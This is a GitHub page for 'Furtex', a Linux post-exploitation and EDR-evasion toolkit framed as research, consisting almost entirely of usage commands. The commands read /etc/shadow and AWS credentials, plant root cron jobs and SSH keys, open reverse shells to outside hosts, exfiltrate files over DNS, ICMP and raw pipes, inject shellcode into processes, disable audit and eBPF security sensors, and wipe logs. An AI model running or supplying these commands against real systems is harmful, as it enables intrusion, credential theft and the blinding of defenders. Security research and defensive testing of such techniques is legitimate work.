MatheuZSecurity/Furtex: Post-exploitation and evasion research toolkit for Linux. · GitHub

sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

sudo ./bpf/map_recon
sudo ./bpf/map_dumper 42 --ascii
sudo ./bpf/map_write <map_id> <key_hex> <val_hex>
sudo ./bpf/prog_recon --maps --lsm-only
sudo ./bpf/edr_fin
sudo ./bpf/lsm_check <map_id>
sudo ./bpf/pid_allowlist <map_id> [pid]
sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map
sudo ./bpf/bpf_persist list /sys/fs/bpf
sudo ./bpf/map_snapshot save    <prog_id> snap.bin
sudo ./bpf/map_snapshot restore snap.bin
./bpf/env_exfil --filter AWS
sudo ./bpf/bpf_link_detach list --lsm-only
sudo ./bpf/bpf_link_detach detach-lsm --dry-run
sudo ./bpf/link_update <link_id>
sudo ./bpf/map_freeze <map_id>
sudo ./bpf/map_freeze --prog <name_substr>
sudo ./bpf/icmp_trigger --daemon
sudo ./bpf/icmp_trigger --send <target> <c2_ip> <c2_port>

sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow
sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444

sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01

sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>

sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337

sudo ./edrs/edr_recon
sudo ./edrs/edr_recon procs arts mods
sudo ./edrs/edr_recon progs maps

sudo ./edrs/bpf_prog_recon --all
sudo ./edrs/ftrace_enum list
sudo ./edrs/module_recon list
sudo ./edrs/perf_bpf_kill scan
sudo ./edrs/sysctl_blind show
sudo ./edrs/tetragon_blind scan

sudo ./edrs/audit_kill disable
sudo ./edrs/dmesg_wipe wipe
sudo ./edrs/bpf_detach_all
sudo ./edrs/ftrace_enum clear-kprobes
sudo ./edrs/netfilter_flush
sudo ./edrs/lkm_unload unload

./edrs/livepatch_bypass --read /etc/shadow
./edrs/uring_stealth cat /etc/shadow
./edrs/mmap_read /etc/shadow
./edrs/splice_read /etc/shadow
./edrs/plt_unhook read /etc/shadow
./edrs/openat2_bypass copy /etc/shadow /tmp/out

cat payload | ./edrs/memfd_userexec [args...]
cat payload | ./edrs/fanotify_bypass --memfd-exec
./edrs/anon_shellcode <shellcode_hex>
./edrs/fexecve_drop - < payload

sudo ./edrs/proc_mem_inject --inject <pid> <shellcode_hex>
./edrs/proc_vm_inject <pid> <shellcode_hex>
./edrs/ptrace_inject_so inject <pid> /tmp/payload.so

./edrs/userland_persist --lhost 10.0.0.1 --lport 4444
./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..."
sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444

./edrs/shared_mem_c2 --agent &
./edrs/shared_mem_c2 --ctrl --cmd "id"
./edrs/abstract_sock_c2 server &
./edrs/abstract_sock_c2 client
./edrs/udp_shell 192.168.1.1 4444
./edrs/tls_shell 192.168.1.1 443

./edrs/dns_exfil_raw str exfil.example.com "data"
./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999
cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 -
SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack

./edrs/self_delete delete
./edrs/time_stomp clone /etc/passwd /tmp/target
sudo ./edrs/log_wipe hist /home/kali

./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject <pid> <hex>
./edrs/ringbuf_flood --flood --threads 8 --sec 5

./edrs/ns_exec user bash
./edrs/ns_exec full-hide bash
./edrs/clone_netns exec /bin/sh

./edrs/pidfd_steal scan
./edrs/pidfd_steal steal <pid> <fd>
./edrs/fd_steal_read <path_filter>
./edrs/fd_steal_read <path_filter> <pid> <fd>

./techniques/uring_ops cat   /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999

sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain  <map_id>
./techniques/ringbuf_overflow  flood  16 10

./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all

sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload

./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc  <hex>

./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc   <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen  <so>

./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"

./techniques/proc_masquerade setname    sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>

./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell

./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444

./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"

./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>

./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log